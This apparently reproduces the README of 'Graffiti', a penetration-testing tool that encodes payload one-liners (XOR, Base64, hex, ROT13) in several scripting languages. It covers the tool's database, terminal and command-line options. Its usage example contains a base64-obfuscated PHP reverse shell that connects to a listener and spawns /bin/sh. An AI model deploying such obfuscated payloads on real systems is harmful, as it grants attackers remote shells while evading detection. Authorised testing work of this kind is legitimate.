Graffiti : A Tool To Generate Obfuscated One Liners To Aid In Penetration Testing

Graffiti is a tool to generate obfuscated oneliners to aid in penetration testing situations. Graffiti accepts the following languages for encoding:

  • Python
  • Perl
  • Batch
  • Powershell
  • PHP
  • Bash

It will also accept a language that is not currently on the list and store the oneliner into a database.

Features

Graffiti comes complete with a database that will insert each encoded payload into it, in order to allow end users to view already created payloads for future use. The payloads can be encoded using the following techniques:

  • Xor
  • Base64
  • Hex
  • ROT13
  • Raw

Some features of Graffiti include:

  • Terminal drop in access, with the ability to run external commands
  • Ability to create your own payload JSON files
  • Ability to view cached payloads inside of the database
  • Ability to run the database in memory for quick deletion
  • Terminal history and saving of terminal history
  • Auto tab completion inside of terminal
  • Ability to securely wipe the history files and database file
  • Multiple encoding techniques as mentioned above

Usage

Graffiti comes with a builtin terminal, when you pass no flags to the program it will drop into the terminal. The terminal has history, the ability to run external commands, and it’s own internal commands. In order to get help, you jsut have to type help or ?:

no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal

Graffiti also comes with command line arguments for when you need a payload encoded quickly:

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[–create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION …]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [–memory] [-mC COMMAND [COMMAND …]]

optional arguments:
-h, –help show this help message and exit
-c CODEC, –codec CODEC
specify an encoding technique (
default=None) -p PAYLOAD, –payload PAYLOAD pass the path to a payload to use (default=None)
–create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (
default=None) -l, –list list all available payloads by path (default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION …]], –personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION …]]
pass your own personal payload to use for the encoding
(
default=None) -lH LISTENING-ADDRESS, –lhost LISTENING-ADDRESS pass a listening address to use for the payload (if needed) (default=None)
-lP LISTENING-PORT, –lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (
default=None) -u URL, –url URL pass a URL if needed by your payload (default=None)
-vC, –view-cached view the cached data already present inside of the
database
-H, –no-history do not store the command history (
default=True) -W, –wipe wipe the database and the history (default=False)
–memory initialize the database into memory instead of a .db
file (
default=False) -mC COMMAND [COMMAND …], –more-commands COMMAND [COMMAND …] pass more external commands, this will allow them to be accessed inside of the terminal commands must be in your PATH (default=None)

Encoding a payload is simple as this:

root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065

Encoded Payload:

php -r ‘exec(base64_decode(“JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7”));’

Installation

On any Linux, Mac, or Windows system, Graffiti should work out of the box without the need to install any external packages. If you would like to install Graffiti as an executable onto your system (you must be running either Linux or Mac for it to work successfully), all you have to do is the following:

./install.sh

This will install Graffiti into your system and allow you to run it from anywhere.
